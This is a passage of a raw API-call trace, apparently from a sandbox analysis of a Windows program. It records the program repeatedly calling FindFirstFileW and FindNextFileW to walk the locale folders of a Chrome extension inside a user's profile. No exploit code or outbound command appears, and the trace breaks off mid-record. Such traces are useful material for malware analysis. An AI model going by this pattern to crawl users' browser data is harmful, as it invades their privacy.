lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.650] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.650] GetProcessHeap () returned 0x550000 [0273.650] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0273.650] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0273.650] GetProcessHeap () returned 0x550000 [0273.650] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0273.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0273.650] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.651] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.651] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.651] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.651] GetProcessHeap () returned 0x550000 [0273.651] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0273.651] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0273.651] GetProcessHeap () returned 0x550000 [0273.651] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0273.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0273.727] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.728] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.728] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.728] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.728] GetProcessHeap () returned 0x550000 [0273.728] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0273.728] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0273.728] GetProcessHeap () returned 0x550000 [0273.728] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0273.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0273.729] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.729] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.729] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.729] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.729] GetProcessHeap () returned 0x550000 [0273.729] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0273.729] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0273.729] GetProcessHeap () returned 0x550000 [0273.729] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0273.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0273.821] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.821] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.821] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.821] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.821] GetProcessHeap () returned 0x550000 [0273.821] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0273.821] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0273.821] GetProcessHeap () returned 0x550000 [0273.822] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0273.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0273.822] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.822] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.822] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.822] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.822] GetProcessHeap () returned 0x550000 [0273.822] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0273.822] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0273.823] GetProcessHeap () returned 0x550000 [0273.823] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0273.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0273.945] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.945] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.945] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.946] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.946] GetProcessHeap () returned 0x550000 [0273.946] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0273.946] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0273.946] GetProcessHeap () returned 0x550000 [0273.946] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0273.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0273.946] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.946] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.947] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.947] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.947] GetProcessHeap () returned 0x550000 [0273.947] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0273.947] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0273.947] GetProcessHeap () returned 0x550000 [0273.947] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0273.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0274.043] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.043] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, 